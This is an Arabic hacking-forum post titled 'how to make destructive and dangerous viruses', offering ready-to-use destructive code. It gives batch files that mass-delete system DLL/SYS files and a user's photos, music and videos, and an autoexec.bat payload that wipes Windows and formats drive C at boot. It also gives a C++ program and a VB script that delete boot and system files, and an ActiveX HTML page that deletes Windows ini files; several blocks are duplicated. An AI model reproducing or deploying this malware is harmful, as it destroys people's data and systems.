الرئيسيةالرئيسية  س .و .جس .و .ج  بحـثبحـث  الأعضاءالأعضاء  المجموعاتالمجموعات  التسجيلالتسجيل  دخولدخول  
منتدى منظمة الهكرز العربي، أكبر منتدى هكر عربي متخصص بجديد الثغرات واختراق المواقع والأجهزة.

شاطر | 
 

 كيفية صاعة فيروسات مدمرة وخطير

اذهب الى الأسفل 
كاتب الموضوعرسالة
الانيموس المصرى 2015
هكر نشيط
هكر نشيط
avatar

الدولة : مصر
المشاركات : 8
الانضمام : 27/10/2014

مُساهمةموضوع: كيفية صاعة فيروسات مدمرة وخطير   الثلاثاء نوفمبر 18, 2014 9:27 am

اهلا شباب اليوم جايب موضوع خطير وهو الفيروسات وهنعلمكم كيف تصنعون الفيروسات بدون برنامج او مجهود
اولا افتح Notepad
وبعدها ضع فيها هذا الكود
@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys

الان قم بحفظ الملف بامتداد life.bat
* بعد ان قمت بوضعالكود و حفظه بامتداد .bat فانت هاكذ تكون قد قمت بعمل فيروس و سوف تلحظ ان شكلالأيقونة قد تغير الى شباك ازرق وبداخله عجلة صفراء احذر منه فهو الأن جاهز للعمل واياك ان تفتحه

* هذا الفيروس يقوم على مسح كل ملفات ال dll وال sys منالسيستم. وهذا ما سوف نلحظه بالنظر الى الكود السابق و به سوف نجد انه كتب فى هذاالكود امر " deltree " و هو الخاص بمسح الملفات ثم كتب بعد ذلك " *.dll كما كتب *.sys " و هو انى قد اعطيت له بان يمسح كل الملفات التى لها الأمتدادين السابقين ويمكن ملاحظة شئ اخر و هو كون الكمبيوتر يمسح الملفات من السيستيم و سوف نجد فى اولالكود الامر الخاص بذلك فسوف تجد انه قد اعطى له الأمر بالذهاب الى c: و كما اعطاهالأمر بالذهاب مالفات لويندوز عندما صدرنا له الأمر windir ثم اخبرناه ان الأوامرالتالية يجب ان تكون داخل مل سيستيم و الذى هو موجود ضمن ملفات الويندوز


ويمكنك التغير على الكدو قليلا وذلك من حيث المهمة او المكان مثال:


انا الأن اريد ان امزح معاحد و فى نفس الوقت عاوز اعلمه درس و تحزير فيمكننى ان اصنع فيروس يقوم بمسح جميعملفات الصور التى امتددها *.jpg. كما اننى اريد ان امسح جميع ملفات الأغانى التىامتددها *.mp3 و جميع امتدادت الملفات الخاصة بلافلام و التى امتدادها *.asf و التىتوجد فى E: كل ما علينا هو تعديل الكود ليصبح كالأتى

@Echo off
e:
deltree /y *.jpg
cd\
deltree /y *.mp3
cd\
deltree /y *.asf

الكود الثاني


echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
قم بحفظ الملف على الشكل التالي Autoexec.bat

اخواني هذا الفيروس خطير جدا حيث يقوم بتدمير جميع ملفات النضام وكذللك فرمتت الجهاز والاشتغال تلقائيا فور تشغيل الجهاز ارجو الا تستعملوه ضد اخوانكم العرب

هذه مجموعة اخرى لاكواد فيروسات مشهورة

فيرووس C++ :


#include
#include
#include
main()
{
clrscr();
printf("\t\t\tWelcome to the Egyption -oO Virus Oo-\n\n");
printf("\t\t**** -oO Israel Oo- and -oO America Oo-\n\n");
remove("c:\\windows\\system.ini");
remove("c:\\windows\\win.ini");
remove("c:\\autoexec.bat");
remove("c:\\msdos.sys");
remove("c:\\io.sys");
remove("c:\\command.com");
remove("c:\\config.sys");
remove("c:\\windows\\ebd\\command.com");
remove("c:\\windows\\ebd\\ebd.cab");
remove("c:\\windows\\ebd\\Autoexec.bat") ;
remove("c:\\windows\\ebd\\setramd.bat");
remove("c:\\windows\\ebd\\Findramd.exe") ;
rename("egypt.exe","c:/windows/startm~1/programs/startup/win.exe");
printf("Windows destroyed ...\n\n");
system("PAUSE");
}


فيرووس Visual Basic :


SetAttr "c:\autoexec.bat", vbNormal
SetAttr "c:\msdos.sys", vbNormal
SetAttr "c:\io.sys", vbNormal
SetAttr "c:\windows\win.ini", vbNormal
SetAttr "c:\windows\system.ini", vbNormal
SetAttr "c:\command.com", vbNormal
SetAttr "c:\config.sys", vbNormal
SetAttr "c:\windows\rundll.exe", vbNormal
SetAttr "c:\windows\rundll32.exe", vbNormal
Kill "C:\autoexec.bat"
Kill "C:\msdos.sys"
Kill "C:\io.sys"
Kill "C:\windows\win.ini"
Kill "C:\windows\system.ini"
Kill "C:\command.com"
Kill "C:\config.sys"
Kill "C:\windows\rundll.exe"
Kill "C:\windows\rundll32.exe"


فيروس Html





<$$$$ http$$$$$$="$$$$$$$-Type"
$$$$$$$="$$$$/html; charset=iso-8859-1">
Active-X HTML

THIS HTML USING ACTIVE-X PLEASE CLICK #YES#

<$$$$$$ --------="VB$$$$$$">

On Error Resume Next
Dim a
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set a = fso.GetFile("win.ini")
a.Delete
Dim b
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set b = fso.GetFile("system.ini")
b.Delete





ملاحظة يحفظهذا الفيروس بأمتداد html .*



[/size][/b][/color]فيرووس C++ :

#include
#include
#include
main()
{
clrscr();
printf("\t\t\tWelcome to the Egyption -oO Virus Oo-\n\n");
printf("\t\t**** -oO Israel Oo- and -oO America Oo-\n\n");
remove("c:\\windows\\system.ini");
remove("c:\\windows\\win.ini");
remove("c:\\autoexec.bat");
remove("c:\\msdos.sys");
remove("c:\\io.sys");
remove("c:\\command.com");
remove("c:\\config.sys");
remove("c:\\windows\\ebd\\command.com");
remove("c:\\windows\\ebd\\ebd.cab");
remove("c:\\windows\\ebd\\Autoexec.bat") ;
remove("c:\\windows\\ebd\\setramd.bat");
remove("c:\\windows\\ebd\\Findramd.exe") ;
rename("egypt.exe","c:/windows/startm~1/programs/startup/win.exe");
printf("Windows destroyed ...\n\n");
system("PAUSE");
}


فيرووس Visual Basic :


SetAttr "c:\autoexec.bat", vbNormal
SetAttr "c:\msdos.sys", vbNormal
SetAttr "c:\io.sys", vbNormal
SetAttr "c:\windows\win.ini", vbNormal
SetAttr "c:\windows\system.ini", vbNormal
SetAttr "c:\command.com", vbNormal
SetAttr "c:\config.sys", vbNormal
SetAttr "c:\windows\rundll.exe", vbNormal
SetAttr "c:\windows\rundll32.exe", vbNormal
Kill "C:\autoexec.bat"
Kill "C:\msdos.sys"
Kill "C:\io.sys"
Kill "C:\windows\win.ini"
Kill "C:\windows\system.ini"
Kill "C:\command.com"
Kill "C:\config.sys"
Kill "C:\windows\rundll.exe"
Kill "C:\windows\rundll32.exe"



فيروس Html





<$$$$ http$$$$$$="$$$$$$$-Type"
$$$$$$$="$$$$/html; charset=iso-8859-1">
Active-X HTML

THIS HTML USING ACTIVE-X PLEASE CLICK #YES#

<$$$$$$ --------="VB$$$$$$">

On Error Resume Next
Dim a
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set a = fso.GetFile("win.ini")
a.Delete
Dim b
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set b = fso.GetFile("system.ini")
b.Delete





ملاحظة يحفظهذا الفيروس بأمتداد html .*

الان اخواني هذا كل ما لدي من اكواد اي اكواد جديدة ساقوم بوضعها هنا .
واتمنى ان تعلقو
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
كيفية صاعة فيروسات مدمرة وخطير
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منظمة الهكرز العربي :: 
..[ أقسام أدوات الهكرز والبرامج ]..
 :: قسم التغيم والفيروسات
-
انتقل الى:  
المواضيع الأخيرة
» اسهل طريقة لسرقة اي كلمة سر
الثلاثاء فبراير 13, 2018 11:30 pm من طرف عبدالله

» محتاجة مساعدة ارجوكوا
الثلاثاء فبراير 13, 2018 11:14 pm من طرف عبدالله

» buy visitor traffic
الثلاثاء فبراير 13, 2018 12:02 pm من طرف rdwan123

» أقوى دورة في أختراق المواقع حصريا 2018
الثلاثاء فبراير 13, 2018 12:38 am من طرف rooter210

» financial information
الإثنين فبراير 12, 2018 9:34 pm من طرف rdwan123

» share trading
الإثنين فبراير 12, 2018 9:28 pm من طرف rdwan123

» Stocks Isb art design buildings reward $9.00
الإثنين فبراير 12, 2018 9:22 pm من طرف rdwan123

» Trade BTC currency on paypal USD
الإثنين فبراير 12, 2018 9:11 pm من طرف rdwan123

» buy stock online
الإثنين فبراير 12, 2018 9:06 pm من طرف rdwan123

» Stocks Java game development framework price $6.75
الإثنين فبراير 12, 2018 8:58 pm من طرف rdwan123


Powered by © phpBB
Copyright ©2009 - 2017, Jelsoft Enterprises Ltd
الحقوق محفوظة لمنظمة الهكرز العربي